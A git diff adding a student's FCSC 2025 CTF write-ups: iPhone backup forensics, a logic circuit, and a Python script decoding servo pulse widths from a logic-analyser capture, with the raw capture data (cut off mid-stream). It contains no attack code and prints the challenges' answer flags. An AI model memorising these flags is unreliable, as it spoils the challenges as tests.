diff --git a/content/writeups/2025/fcsc/_index.md b/content/writeups/2025/fcsc/_index.md new file mode 100644 index 0000000..0392380 --- /dev/null +++ b/content/writeups/2025/fcsc/_index.md @@ -0,0 +1,11 @@ ++++ +date = '2025-04-27T14:23:22+02:00' +draft = false +title = 'FCSC 2025' ++++ + +FCSC is the France Cyber Security Challenge organised by [ANSSI](https://cyber.gouv.fr/) (agence nationale de la sécurité des systèmes d'information) in order to create the French team for [ECSC](https://ecsc.eu/) (european cyber security challenge). +I have been participating casually for the last 2 years but this year I invested a reasonable amount of time into it. Not as much as I would have wanted to due to classes but I still managed to rank 310th in the general ranking and 27th in the junior ranking with 1381 points which is pretty good. + +I solved 21 challenges some of them have writeups some not. Some of them where part of the intro category which consist of easier challenges of various categories they are marked with `(intro)` after the name. + diff --git a/content/writeups/2025/fcsc/forensic/iforensic.md b/content/writeups/2025/fcsc/forensic/iforensic.md new file mode 100644 index 0000000..4ed8b51 --- /dev/null +++ b/content/writeups/2025/fcsc/forensic/iforensic.md @@ -0,0 +1,47 @@ ++++ +date = '2025-04-27T14:23:22+02:00' +draft = false +title = 'iForensic' +tags = [ "forensic" ] ++++ + +iForensic is a serie of challenge where the goal is to study an iphone. +Here is the global description of this serie : + +As you pass through customs, the customs officer asks you to hand over your phone and its unlock code. The phone is returned to you a few hours later... +Suspicious, you send your phone to ANSSI's CERT-FR for analysis. CERT-FR analysts carry out a collection on the phone, consisting of a sysdiagnose and a backup. + +We are given two tar archives, one containing a backup of the phone and the other what is apparently a crash report. + +# iCrash + +Title: iCrash (intro) +Points: 25 +Number of solves: 661 +Description: It seems that a flag has hidden itself in the place where crashes are stored on the phone... + +We go to `private/var/mobile/Library/Logs/CrashReporter` and there is a file called `fcsc_intro.txt`. +``` +>>> cat fcsc_intro.txt +FCSC{7a1ca2d4f17d4e1aa8936f2e906f0be8} +``` + +# iDevice + +Title: iDevice +Points: 100 +Number of solves: 602 +Description: +To start with, find some information of interest about the phone: iOS version and phone model identifier. +The flag is in the format `FCSC{|}`. For example, for an iPhone 14 Pro Max running iOS 18.4 (22E240): `FCSC{iPhone15,3|22E240}`. + + +To find these informations I opened the file named `Info.plist` at the root of the backup which contains informations about the device and found the information I was looking for. +``` + Build Version + 20A362 + ... + Product Type + iPhone12,3 +``` +So the flag is `FCSC{iPhone12,3|20A362}`. diff --git a/content/writeups/2025/fcsc/hardware/badd_circuit/baddcircuit.png b/content/writeups/2025/fcsc/hardware/badd_circuit/baddcircuit.png new file mode 100644 index 0000000..ab53a99 Binary files /dev/null and b/content/writeups/2025/fcsc/hardware/badd_circuit/baddcircuit.png differ diff --git a/content/writeups/2025/fcsc/hardware/badd_circuit/index.md b/content/writeups/2025/fcsc/hardware/badd_circuit/index.md new file mode 100644 index 0000000..c1a2d9e --- /dev/null +++ b/content/writeups/2025/fcsc/hardware/badd_circuit/index.md @@ -0,0 +1,19 @@ ++++ +date = '2025-04-27T14:23:22+02:00' +draft = false +title = 'Badd Circuit (intro)' +tags = [ 'hardware' ] ++++ + +Title: Badd Circuit (intro) +Points: 25 +Number of solves: 512 +Description: +Here is a logic circuit that implements an unknown function. What is the value of the four output bits? +The flag format is FCSC{}. For example, if the value to find is 0001, the flag would be FCSC{0001}. + +![Circuit picture](./baddcircuit.png) + +Two options here either rebuild the circuit in a digital simulator like the great [digital](https://github.com/hneemann/Digital) (the name is not that great but the software is). Or do it by hand wich is much faster. +So I just wrote down what the ouput of each gate is (sometime you can skip some) and got the flag. +I forgot to write it down and am too lazy to do it again so let's say that I leave it as an exercice for the reader. diff --git a/content/writeups/2025/fcsc/hardware/mechanical_display/datasheet.svg b/content/writeups/2025/fcsc/hardware/mechanical_display/datasheet.svg new file mode 100644 index 0000000..7c45e5d --- /dev/null +++ b/content/writeups/2025/fcsc/hardware/mechanical_display/datasheet.svg @@ -0,0 +1,546 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/content/writeups/2025/fcsc/hardware/mechanical_display/index.md b/content/writeups/2025/fcsc/hardware/mechanical_display/index.md new file mode 100644 index 0000000..8a532cf --- /dev/null +++ b/content/writeups/2025/fcsc/hardware/mechanical_display/index.md @@ -0,0 +1,158 @@ ++++ +date = '2025-04-27T14:23:22+02:00' +draft = false +title = 'Mechanical Display' +tags = [ 'hardware' ] ++++ + +Title: Mechanical Display +Points: 238 +Number of solves: 120 +Description: +One of your team-mates has found a broken device. It looks like a clock, but there is only one hand pointing at some letters. You connect your logic analyser to a signal going to its only motor (mechanical-display.vcd). Can you find out what secret this object contains? +Using the device model number, you manage to find a datasheet online (public/mechanical-display-datasheet.pdf). + +![datasheet](./datasheet.svg) + +That is a beautiful professional looking datasheet. +So according to the datasheet we have a servomotor that receives pulses who last between 0.6ms and 2.4ms, the length of the pulse then maps to an angle of rotation .6 is -90deg so the default 0 position and 2.4ms maps to +90deg. + +We are also given another file `mechanical-display.vcd`. A quick internet search tells us that vcd means [value change dump](https://en.wikipedia.org/wiki/Value_change_dump). Here is a sample of the content. +``` +#0 0! +#5290 1! +#5489 0! +#7290 1! +#7489 0! +#9291 1! +#9489 0! +#11291 1! +#11490 0! +#13291 1! +#13490 0! +#15292 1! +#15490 0! +#17292 1! +``` + +It's easy to understand the format a timestamp is recorded for each change of the input bit (0->1 and 1->0). We can use that to calculate the length of each pulse and get the flag. However after throwing together a small python script it looks like the values are repeated so lets add a character to the flag only when the length of the pulse changes. + +```python +def closest_number(target): + numbers = list(range(60, 241, 10)) + closest = min(numbers, key=lambda x: abs(x - target)) + return closest + +if __name__ == "__main__": + + flag = "" + values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_'] + + with open('mechanical-display.vcd', 'r') as file: + data = [line.strip() for line in file][11:] + + last = "" + first = data[1].split()[0][1:] second = data[2].split()[0][1:] + for i in range(3, len(data) - 1, 2): + first = data[i].split()[0][1:] + second = data[i+1].split()[0][1:] + diff = int(second) - int(first) + val = closest_number(diff) + char = str(values[int(val/10 - 6)]) + if char != last: + flag += char + last = char + print(flag) +``` + +So a quick explanation of the script : +The `closest_number` function maps a pulse length to a multiple of 10 between 60 and 240 I then use this to get the correct character from the `values` list by bringing it back to a number between 0 and 19. Then every time the character changes we add the new character to the flag. Simple no ? +``` +>>> ./solve.py +FCSC{S232323232323232323232323232323232323232323232323232323232C92323232323232323232323232323232323232323232323232323232327_0232323232323232323232323232323232323232323232323232360AS_903232323232323232323232323232323232323232323232AS2323232323232323232323232323232323232323232323232323_54545454545454545454545B71D23232323232323232323232323232323232323232323232323232C7} +``` + +Hum there might be a problem with the script. After examinating the values it looks like there is a little change for the same character from time to time. Ok no problem I will just make it so that only when there is a big change in the length of the pulse (at least 0.07ms) I record a new character. Here is the modified loop +```python + last = -1 + first = data[1].split()[0][1:] + second = data[2].split()[0][1:] + for i in range(3, len(data) - 1, 2): + first = data[i].split()[0][1:] + second = data[i+1].split()[0][1:] + diff = int(second) - int(first) + # Change only when big value change + if (diff - 7) > last or (diff + 7) < last: + last = diff + val = closest_number(diff) + char = str(values[int(val/10 - 6)]) + flag += char + print(flag) +``` + +Now run my beautiful script +``` +>>> ./solve.py +FCSC{S2C927_02600AS_903AS2_5B71D2C7} +``` + +And we have the `Incorrect flag`... + +After some serious thinking about changing life to become a goat cheese maker and liquor brewer I went back to work. + +It seems like at some point the value is exactly between 2 and 3 so my script doesn't find the correct values. I looked at the different pulse length and found one that seemed to be less than 0.6ms so I wrote a script to find the min and max values for the pulses : +``` +>>> ./test.py +min: 0.54 +max: 2.41 +``` +The minimum is 0.54 not 0.6 as written on the datasheet but that value can only map to a 0 as there is nothing before that. Therefore I made the conclusion that if there was a doubt in which value is beeing pointer I should choose the next round value (0.54 would be 0.6 and 0.85 0.9). To do this I added one line in my `closest_number` function : +```python +def closest_number(target): + numbers = list(range(60, 241, 10)) + # Make it so the next number gets selected + target += 2 + closest = min(numbers, key=lambda x: abs(x - target)) + return closest +``` + +And now I just have to run it : +```python +>>> ./solve.py +FCSC{S3C937_13601AS_913AS3_5B72D3C7} +``` + +And there we go it's the correct flag. + +The complete solve script : +```python +#!/usr/bin/python3 + +def closest_number(target): + numbers = list(range(60, 241, 10)) + target += 2 + closest = min(numbers, key=lambda x: abs(x - target)) + return closest + +if __name__ == "__main__": + + flag = "" + values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_'] + + with open('mechanical-display.vcd', 'r') as file: + data = [line.strip() for line in file][11:] + + last = -1 + first = data[1].split()[0][1:] + second = data[2].split()[0][1:] + for i in range(3, len(data) - 1, 2): + first = data[i].split()[0][1:] + second = data[i+1].split()[0][1:] + diff = int(second) - int(first) + if (diff - 7) > last or (diff + 7) < last: + last = diff + val = closest_number(diff) + char = str(values[int(val/10 - 6)]) + flag += char + print(flag) +``` diff --git a/content/writeups/2025/fcsc/hardware/mechanical_display/mechanical-display.vcd b/content/writeups/2025/fcsc/hardware/mechanical_display/mechanical-display.vcd new file mode 100644 index 0000000..16826fb --- /dev/null +++ b/content/writeups/2025/fcsc/hardware/mechanical_display/mechanical-display.vcd @@ -0,0 +1,10363 @@ +$date Fri Feb 21 13:10:31 2025 $end +$version libsigrok 0.6.0 $end +$comment + Acquisition with 1/1 channels at 100 kHz +$end +$timescale 10 us $end +$scope module libsigrok $end +$var wire 1 ! logic.D0 $end +$upscope $end +$enddefinitions $end + +#0 0! +#5290 1! +#5489 0! +#7290 1! +#7489 0! +#9291 1! +#9489 0! +#11291 1! +#11490 0! +#13291 1! +#13490 0! +#15292 1! +#15490 0! +#17292 1! +#17491 0! +#19292 1! +#19491 0! +#21293 1! +#21491 0! +#23293 1! +#23492 0! +#25293 1! +#25492 0! +#27294 1! +#27492 0! +#29294 1! +#29492 0! +#31294 1! +#31493 0! +#33294 1! +#33493 0! +#35295 1! +#35493 0! +#37295 1! +#37494 0! +#39295 1! +#39494 0! +#41296 1! +#41494 0! +#43296 1! +#43495 0! +#45296 1! +#45495 0! +#47297 1! +#47495 0! +#49297 1! +#49496 0! +#51297 1! +#51496 0! +#53297 1! +#53496 0! +#55298 1! +#55496 0! +#57298 1! +#57497 0! +#59298 1! +#59497 0! +#61299 1! +#61497 0! +#63299 1! +#63498 0! +#65299 1! +#65498 0! +#67300 1! +#67498 0! +#69300 1! +#69499 0! +#71300 1! +#71499 0! +#73301 1! +#73499 0! +#75301 1! +#75500 0! +#77301 1! +#77500 0! +#79301 1! +#79500 0! +#81302 1! +#81500 0! +#83302 1! +#83501 0! +#85302 1! +#85501 0! +#87303 1! +#87501 0! +#89303 1! +#89502 0! +#91303 1! +#91502 0! +#93304 1! +#93502 0! +#95304 1! +#95503 0! +#97304 1! +#97503 0! +#99305 1! +#99503 0! +#101305 1! +#101504 0! +#103305 1! +#103504 0! +#105306 1! +#105504 0! +#107306 1! +#107505 0! +#109306 1! +#109505 0! +#111306 1! +#111505 0! +#113307 1! +#113505 0! +#115307 1! +#115506 0! +#117307 1! +#117506 0! +#119308 1! +#119506 0! +#121308 1! +#121507 0! +#123308 1! +#123507 0! +#125309 1! +#125507 0! +#127309 1! +#127508 0! +#129309 1! +#129508 0! +#131310 1! +#131508 0! +#133310 1! +#133508 0! +#135310 1! +#135509 0! +#137310 1! +#137509 0! +#139311 1! +#139509 0! +#141311 1! +#141510 0! +#143311 1! +#143510 0! +#145312 1! +#145510 0! +#147312 1! +#147511 0! +#149312 1! +#149511 0! +#151313 1! +#151511 0! +#153313 1! +#153512 0! +#155313 1! +#155512 0! +#157313 1! +#157512 0! +#159314 1! +#159512 0! +#161314 1! +#161513 0! +#163314 1! +#163513 0! +#165315 1! +#165513 0! +#167315 1! +#167514 0! +#169315 1! +#169514 0! +#171316 1! +#171514 0! +#173316 1! +#173515 0! +#175316 1! +#175515 0! +#177316 1! +#177515 0! +#179317 1! +#179515 0! +#181317 1! +#181516 0! +#183317 1! +#183516 0! +#185318 1! +#185516 0! +#187318 1! +#187517 0! +#189318 1! +#189517 0! +#191319 1! +#191517 0! +#193319 1! +#193518 0! +#195319 1! +#195518 0! +#197320 1! +#197518 0! +#199320 1! +#199519 0! +#201320 1! +#201498 0! +#203320 1! +#203499 0! +#205321 1! +#205499 0! +#207321 1! +#207499 0! +#209321 1! +#209499 0! +#211322 1! +#211500 0! +#213322 1! +#213500 0! +#215322 1! +#215500 0! +#217323 1! +#217501 0! +#219323 1! +#219501 0! +#221323 1! +#221501 0! +#223323 1! +#223502 0! +#225324 1! +#225502 0! +#227324 1! +#227502 0! +#229324 1! +#229502 0! +#231325 1! +#231503 0! +#233325 1! +#233503 0! +#235325 1! +#235503 0! +#237326 1! +#237504 0! +#239326 1! +#239504 0! +#241326 1! +#241504 0! +#243327 1! +#243505 0! +#245327 1! +#245505 0! +#247327 1! +#247505 0! +#249327 1! +#249506 0! +#251328 1! +#251506 0! +#253328 1! +#253506 0! +#255328 1! +#255506 0! +#257329 1! +#257507 0! +#259329 1! +#259507 0! +#261329 1! +#261507 0! +#263330 1! +#263508 0! +#265330 1! +#265508 0! +#267330 1! +#267508 0! +#269331 1! +#269509 0! +#271331 1! +#271509 0! +#273331 1! +#273509 0! +#275331 1! +#275510 0! +#277332 1! +#277510 0! +#279332 1! +#279510 0! +#281332 1! +#281510 0! +#283333 1! +#283511 0! +#285333 1! +#285511 0! +#287333 1! +#287511 0! +#289334 1! +#289512 0! +#291334 1! +#291512 0! +#293334 1! +#293512 0! +#295335 1! +#295513 0! +#297335 1! +#297513 0! +#299335 1! +#299513 0! +#301336 1! +#301514 0! +#303336 1! +#303514 0! +#305336 1! +#305514 0! +#307336 1! +#307514 0! +#309337 1! +#309515 0! +#311337 1! +#311515 0! +#313337 1! +#313515 0! +#315338 1! +#315516 0! +#317338 1! +#317516 0! +#319338 1! +#319516 0! +#321339 1! +#321517 0! +#323339 1! +#323517 0! +#325339 1! +#325517 0! +#327339 1! +#327518 0! +#329340 1! +#329518 0! +#331340 1! +#331518 0! +#333340 1! +#333518 0! +#335341 1! +#335519 0! +#337341 1! +#337519 0! +#339341 1! +#339519 0! +#341342 1! +#341520 0! +#343342 1! +#343520 0! +#345342 1! +#345520 0! +#347343 1! +#347521 0! +#349343 1! +#349521 0! +#351343 1! +#351521 0! +#353344 1! +#353522 0! +#355344 1! +#355522 0! +#357344 1! +#357522 0! +#359344 1! +#359522 0! +#361345 1! +#361523 0! +#363345 1! +#363523 0! +#365345 1! +#365523 0! +#367346 1! +#367524 0! +#369346 1! +#369524 0! +#371346 1! +#371524 0! +#373346 1! +#373525 0! +#375347 1! +#375525 0! +#377347 1! +#377525 0! +#379347 1! +#379525 0! +#381348 1! +#381526 0! +#383348 1! +#383526 0! +#385348 1! +#385526 0! +#387349 1! +#387527 0! +#389349 1! +#389527 0! +#391349 1! +#391527 0! +#393350 1! +#393528 0! +#395350 1! +#395528 0! +#397350 1! +#397528 0! +#399350 1! +#399529 0! +#401351 1! +#401560 0! +#403351 1! +#403560 0! +#405351 1! +#405560 0! +#407352 1! +#407561 0! +#409352 1! +#409561 0! +#411352 1! +#411561 0! +#413353 1! +#413562 0! +#415353 1! +#415562 0! +#417353 1! +#417562 0! +#419354 1! +#419563 0! +#421354 1! +#421563 0! +#423354 1! +#423563 0! +#425354 1! +#425563 0! +#427355 1! +#427564 0! +#429355 1! +#429564 0! +#431355 1! +#431564 0! +#433356 1! +#433565 0! +#435356 1! +#435565 0! +#437356 1! +#437565 0! +#439357 1! +#439566 0! +#441357 1! +#441566 0! +#443357 1! +#443566 0! +#445358 1! +#445567 0! +#447358 1! +#447567 0! +#449358 1! +#449567 0! +#451359 1! +#451568 0! +#453359 1! +#453568 0! +#455359 1! +#455568 0! +#457360 1! +#457568 0! +#459360 1! +#459569 0! +#461360 1! +#461569 0! +#463360 1! +#463569 0! +#465361 1! +#465570 0! +#467361 1! +#467570 0! +#469361 1! +#469570 0! +#471362 1! +#471571 0! +#473362 1! +#473571 0! +#475362 1! +#475571 0! +#477363 1! +#477572 0! +#479363 1! +#479572 0! +#481363 1! +#481572 0! +#483363 1! +#483572 0! +#485364 1! +#485573 0! +#487364 1! +#487573 0! +#489364 1! +#489573 0! +#491365 1! +#491574 0! +#493365 1! +#493574 0! +#495365 1! +#495574 0! +#497366 1! +#497575 0! +#499366 1! +#499575 0! +#501366 1! +#501575 0! +#503367 1! +#503575 0! +#505367 1! +#505576 0! +#507367 1! +#507576 0! +#509367 1! +#509576 0! +#511368 1! +#511577 0! +#513368 1! +#513577 0! +#515368 1! +#515577 0! +#517369 1! +#517578 0! +#519369 1! +#519578 0! +#521369 1! +#521578 0! +#523370 1! +#523579 0! +#525370 1! +#525579 0! +#527370 1! +#527579 0! +#529371 1! +#529580 0! +#531371 1! +#531580 0! +#533371 1! +#533580 0! +#535371 1! +#535580 0! +#537372 1! +#537581 0! +#539372 1! +#539581 0! +#541372 1! +#541581 0! +#543373 1! +#543582 0! +#545373 1! +#545582 0! +#547373 1! +#547582 0! +#549374 1! +#549583 0! +#551374 1! +#551583 0! +#553374 1! +#553583 0! +#555375 1! +#555583 0! +#557375 1! +#557584 0! +#559375 1! +#559584 0! +#561375 1! +#561584 0! +#563376 1! +#563585 0! +#565376 1! +#565585 0! +#567376 1! +#567585 0! +#569377 1! +#569586 0! +#571377 1! +#571586 0! +#573377 1! +#573586 0! +#575378 1! +#575587 0! +#577378 1! +#577587 0! +#579378 1! +#579587 0! +#581378 1! +#581587 0! +#583379 1! +#583588 0! +#585379 1! +#585588 0! +#587379 1! +#587588 0! +#589380 1! +#589589 0! +#591380 1! +#591589 0! +#593380 1! +#593589 0! +#595381 1! +#595590 0! +#597381 1! +#597590 0! +#599381 1! +#599590 0! +#601382 1! +#601560 0! +#603382 1! +#603560 0! +#605382 1! +#605560 0! +#607383 1! +#607561 0! +#609383 1! +#609561 0! +#611383 1! +#611561 0! +#613383 1! +#613562 0! +#615384 1! +#615562 0! +#617384 1! +#617562 0! +#619384 1! +#619562 0! +#621385 1! +#621563 0! +#623385 1! +#623563 0! +#625385 1! +#625563 0! +#627386 1! +#627564 0! +#629386 1! +#629564 0! +#631386 1! +#631564 0! +#633387 1! +#633565 0! +#635387 1! +#635565 0! +#637387 1! +#637565 0! +#639388 1! +#639566 0! +#641388 1! +#641566 0! +#643388 1! +#643566 0! +#645388 1! +#645566 0! +#647389 1! +#647567 0! +#649389 1! +#649567 0! +#651389 1! +#651567 0! +#653390 1! +#653568 0! +#655390 1! +#655568 0! +#657390 1! +#657568 0! +#659391 1! +#659569 0! +#661391 1! +#661569 0! +#663391 1! +#663569 0! +#665392 1! +#665570 0! +#667392 1! +#667570 0! +#669392 1! +#669570 0! +#671392 1! +#671571 0! +#673393 1! +#673571 0! +#675393 1! +#675571 0! +#677393 1! +#677571 0! +#679394 1! +#679572 0! +#681394 1! +#681572 0! +#683394 1! +#683572 0! +#685395 1! +#685573 0! +#687395 1! +#687573 0! +#689395 1! +#689573 0! +#691396 1! +#691574 0! +#693396 1! +#693574 0! +#695396 1! +#695574 0! +#697396 1! +#697575 0! +#699397 1! +#699575 0! +#701397 1! +#701575 0! +#703397 1! +#703576 0! +#705398 1! +#705576 0! +#707398 1! +#707576 0! +#709398 1! +#709576 0! +#711399 1! +#711577 0! +#713399 1! +#713577 0! +#715399 1! +#715577 0! +#717400 1! +#717578 0! +#719400 1! +#719578 0! +#721400 1! +#721578 0! +#723401 1! +#723579 0! +#725401 1! +#725579 0! +#727401 1! +#727579 0! +#729401 1! +#729580 0! +#731402 1! +#731580 0! +#733402 1! +#733580 0! +#735402 1! +#735580 0! +#737403 1! +#737581 0! +#739403 1! +#739581 0! +#741403 1! +#741581 0! +#743404 1! +#743582 0! +#745404 1! +#745582 0! +#747404 1! +#747582 0! +#749405 1! +#749583 0! +#751405 1! +#751583 0! +#753405 1! +#753583 0! +#755405 1! +#755584 0! +#757406 1! +#757584 0! +#759406 1! +#759584 0! +#761406 1! +#761584 0! +#763407 1! +#763585 0! +#765407 1! +#765585 0! +#767407 1! +#767585 0! +#769408 1! +#769586 0! +#771408 1! +#771586 0! +#773408 1! +#773586 0! +#775408 1! +#775587 0! +#777409 1! +#777587 0! +#779409 1! +#779587 0! +#781409 1! +#781588 0! +#783410 1! +#783588 0! +#785410 1! +#785588 0! +#787410 1! +#787588 0! +#789411 1! +#789589 0! +#791411 1! +#791589 0! +#793411 1! +#793589 0! +#795412 1! +#795590 0! +#797412 1! +#797590 0! +#799412 1! +#799590 0! +#801413 1! +#801632 0! +#803413 1! +#803632 0! +#805413 1! +#805632 0! +#807414 1! +#807633 0! +#809414 1! +#809633 0! +#811414 1! +#811633 0! +#813414 1! +#813634 0! +#815415 1! +#815634 0! +#817415 1! +#817634 0! +#819416 1! +#819635 0! +#821416 1! +#821635 0! +#823417 1! +#823636 0! +#825417 1! +#825636 0! +#827417 1! +#827636 0! +#829417 1! +#829637 0! +#831418 1! +#831637 0! +#833418 1! +#833637 0! +#835418 1! +#835638 0! +#837419 1! +#837638 0! +#839419 1! +#839638 0! +#841419 1! +#841639 0! +#843420 1! +#843639 0! +#845420 1! +#845639 0! +#847420 1! +#847640 0! +#849421 1! +#849640 0! +#851421 1! +#851640 0! +#853421 1! +#853640 0! +#855421 1! +#855641 0! +#857422 1! +#857641 0! +#859422 1! +#859641 0! +#861422 1! +#861642 0! +#863423 1! +#863642 0! +#865423 1! +#865642 0! +#867423 1! +#867643 0! +#869424 1! +#869643 0! +#871424 1! +#871643 0! +#873424 1! +#873643 0! +#875424 1! +#875644 0! +#877425 1! +#877644 0! +#879425 1! +#879644 0! +#881425 1! +#881645 0! +#883426 1! +#883645 0! +#885426 1! +#885645 0! +#887426 1! +#887646 0! +#889427 1! +#889646 0! +#891427 1! +#891646 0! +#893427 1! +#893647 0! +#895428 1! +#895647 0! +#897428 1! +#897647 0! +#899428 1! +#899647 0! +#901428 1! +#901648 0! +#903429 1! +#903648 0! +#905429 1! +#905648 0! +#907429 1! +#907649 0! +#909430 1! +#909649 0! +#911430 1! +#911649 0! +#913430 1! +#913649 0! +#915431 1! +#915650 0! +#917431 1! +#917650 0! +#919431 1! +#919650 0! +#921431 1! +#921651 0! +#923432 1! +#923651 0! +#925432 1! +#925651 0! +#927432 1! +#927652 0! +#929433 1! +#929652 0! +#931433 1! +#931652 0! +#933433 1! +#933653 0! +#935434 1! +#935653 0! +#937434 1! +#937653 0! +#939434 1! +#939654 0! +#941435 1! +#941654 0! +#943435 1! +#943654 0! +#945435 1! +#945654 0! +#947435 1! +#947655 0! +#949436 1! +#949655 0! +#951436 1! +#951655 0! +#953436 1! +#953656 0! +#955437 1! +#955656 0! +#957437 1! +#957656 0! +#959437 1! +#959657 0! +#961438 1! +#961657 0! +#963438 1! +#963657 0! +#965438 1! +#965658 0! +#967439 1! +#967658 0! +#969439 1! +#969658 0! +#971439 1! +#971658 0! +#973440 1! +#973659 0! +#975440 1! +#975659 0! +#977440 1! +#977659 0! +#979440 1! +#979660 0! +#981441 1! +#981660 0! +#983441 1! +#983660 0! +#985441 1! +#985661 0! +#987442 1! +#987661 0! +#989442 1! +#989661 0! +#991442 1! +#991662 0! +#993443 1! +#993662 0! +#995443 1! +#995662 0! +#997443 1! +#997663 0! +#999444 1! +#999663 0! +#1001444 1! +#1001653 0! +#1003444 1! +#1003653 0! +#1005444 1! +#1005653 0! +#1007445 1! +#1007654 0! +#1009445 1! +#1009654 0! +#1011445 1! +#1011654 0! +#1013446 1! +#1013655 0! +#1015446 1! +#1015655 0! +#1017446 1! +#1017655 0! +#1019447 1! +#1019656 0! +#1021447 1! +#1021656 0! +#1023447 1! +#1023656 0! +#1025448 1! +#1025656 0! +#1027448 1! +#1027657 0! +#1029448 1! +#1029657 0! +#1031448 1! +#1031657 0! +#1033449 1! +#1033658 0! +#1035449 1! +#1035658 0! +#1037449 1! +#1037658 0! +#1039450 1! +#1039659 0! +#1041450 1! +#1041659 0! +#1043450 1! +#1043659 0! +#1045451 1! +#1045660 0! +#1047451 1! +#1047660 0! +#1049451 1! +#1049660 0! +#1051452 1! +#1051661 0! +#1053452 1! +#1053661 0! +#1055452 1! +#1055661 0! +#1057453 1! +#1057661 0! +#1059453 1! +#1059662 0! +#1061453 1! +#1061662 0! +#1063453 1! +#1063662 0! +#1065454 1! +#1065663 0! +#1067454 1! +#1067663 0! +#1069454 1! +#1069663 0! +#1071455 1! +#1071664 0! +#1073455 1! +#1073664 0! +#1075455 1! +#1075664 0! +#1077456 1! +#1077665 0! +#1079456 1! +#1079665 0! +#1081456 1! +#1081665 0! +#1083456 1! +#1083665 0! +#1085457 1! +#1085666 0! +#1087457 1! +#1087666 0! +#1089457 1! +#1089666 0! +#1091458 1! +#1091667 0! +#1093458 1! +#1093667 0! +#1095458 1! +#1095667 0! +#1097459 1! +#1097668 0! +#1099459 1! +#1099668 0! +#1101459 1! +#1101668 0! +#1103459 1! +#1103668 0! +#1105460 1! +#1105669 0! +#1107460 1! +#1107669 0! +#1109460 1! +#1109669 0! +#1111461 1! +#1111670 0! +#1113461 1! +#1113670 0! +#1115461 1! +#1115670 0! +#1117462 1! +#1117671 0! +#1119462 1! +#1119671 0! +#1121462 1! +#1121671 0! +#1123463 1! +#1123672 0! +#1125463 1! +#1125672 0! +#1127463 1! +#1127672 0! +#1129464 1! +#1129672 0! +#1131464 1! +#1131673 0! +#1133464 1! +#1133673 0! +#1135464 1! +#1135673 0! +#1137465 1! +#1137674 0! +#1139465 1! +#1139674 0! +#1141465 1! +#1141674 0! +#1143466 1! +#1143675 0! +#1145466 1! +#1145675 0! +#1147466 1! +#1147675 0! +#1149467 1! +#1149675 0! +#1151467 1! +#1151676 0! +#1153467 1! +#1153676 0! +#1155467 1! +#1155676 0! +#1157468 1! +#1157677 0! +#1159468 1! +#1159677 0! +#1161468 1! +#1161677 0! +#1163469 1! +#1163678 0! +#1165469 1! +#1165678 0! +#1167469 1! +#1167678 0! +#1169470 1! +#1169679 0! +#1171470 1! +#1171679 0! +#1173470 1! +#1173679 0! +#1175471 1! +#1175680 0! +#1177471 1! +#1177680 0! +#1179471 1! +#1179680 0! +#1181472 1! +#1181680 0! +#1183472 1! +#1183681 0! +#1185472 1! +#1185681 0! +#1187472 1! +#1187681 0! +#1189473 1! +#1189682 0! +#1191473 1! +#1191682 0! +#1193473 1! +#1193682 0! +#1195474 1! +#1195683 0! +#1197474 1! +#1197683 0! +#1199474 1! +#1199683 0! +#1201475 1! +#1201560 0! +#1203475 1! +#1203560 0! +#1205475 1! +#1205561 0! +#1207476 1! +#1207561 0! +#1209476 1! +#1209561 0! +#1211476 1! +#1211561 0! +#1213476 1! +#1213562 0! +#1215477 1! +#1215562 0! +#1217477 1! +#1217562 0! +#1219477 1! +#1219563 0! +#1221478 1! +#1221563 0! +#1223478 1! +#1223563 0! +#1225478 1! +#1225564 0! +#1227479 1! +#1227564 0! +#1229479 1! +#1229564 0! +#1231479 1! +#1231564 0! +#1233480 1! +#1233565 0! +#1235480 1! +#1235565 0! +#1237480 1! +#1237565 0! +#1239480 1! +#1239566 0! +#1241481 1! +#1241566 0! +#1243481 1! +#1243566 0! +#1245481 1! +#1245567 0! +#1247482 1! +#1247567 0! +#1249482 1! +#1249567 0! +#1251482 1! +#1251568 0! +#1253483 1! +#1253568 0! +#1255483 1! +#1255568 0! +#1257483 1! +#1257568 0! +#1259483 1! +#1259569 0! +#1261484 1! +#1261569 0! +#1263484 1! +#1263569 0! +#1265484 1! +#1265570 0! +#1267485 1! +#1267570 0! +#1269485 1! +#1269570 0! +#1271485 1! +#1271571 0! +#1273486 1! +#1273571 0! +#1275486 1! +#1275571 0! +#1277486 1! +#1277571 0! +#1279486 1! +#1279572 0! +#1281487 1! +#1281572 0! +#1283487 1! +#1283572 0! +#1285487 1! +#1285573 0! +#1287488 1! +#1287573 0! +#1289488 1! +#1289573 0! +#1291488 1! +#1291574 0! +#1293489 1! +#1293574 0! +#1295489 1! +#1295574 0! +#1297489 1! +#1297574 0! +#1299490 1! +#1299575 0! +#1301490 1! +#1301575 0! +#1303490 1! +#1303575 0! +#1305490 1! +#1305576 0! +#1307491 1! +#1307576 0! +#1309491 1! +#1309576 0! +#1311491 1! +#1311577 0! +#1313492 1! +#1313577 0! +#1315492 1! +#1315577 0! +#1317492 1! +#1317578 0! +#1319493 1! +#1319578 0! +#1321493 1! +#1321578 0! +#1323493 1! +#1323579 0! +#1325494 1! +#1325579 0! +#1327494 1! +#1327579 0! +#1329494 1! +#1329579 0! +#1331494 1! +#1331580 0! +#1333495 1! +#1333580 0! +#1335495 1! +#1335580 0! +#1337495 1! +#1337581 0! +#1339496 1! +#1339581 0! +#1341496 1! +#1341581 0! +#1343496 1! +#1343582 0! +#1345497 1! +#1345582 0! +#1347497 1! +#1347582 0! +#1349497 1! +#1349582 0! +#1351497 1! +#1351583 0! +#1353498 1! +#1353583 0! +#1355498 1! +#1355583 0! +#1357498 1! +#1357584 0! +#1359499 1! +#1359584 0! +#1361499 1! +#1361584 0! +#1363499 1! +#1363585 0! +#1365500 1! +#1365585 0! +#1367500 1! +#1367585 0! +#1369500 1! +#1369586 0! +#1371501 1! +#1371586 0! +#1373501 1! +#1373586 0! +#1375501 1! +#1375587 0! +#1377502 1! +#1377587 0! +#1379502 1! +#1379587 0! +#1381502 1! +#1381587 0! +#1383502 1! +#1383588 0! +#1385503 1! +#1385588 0! +#1387503 1! +#1387588 0! +#1389503 1! +#1389589 0! +#1391504 1! +#1391589 0! +#1393504 1! +#1393589 0! +#1395504 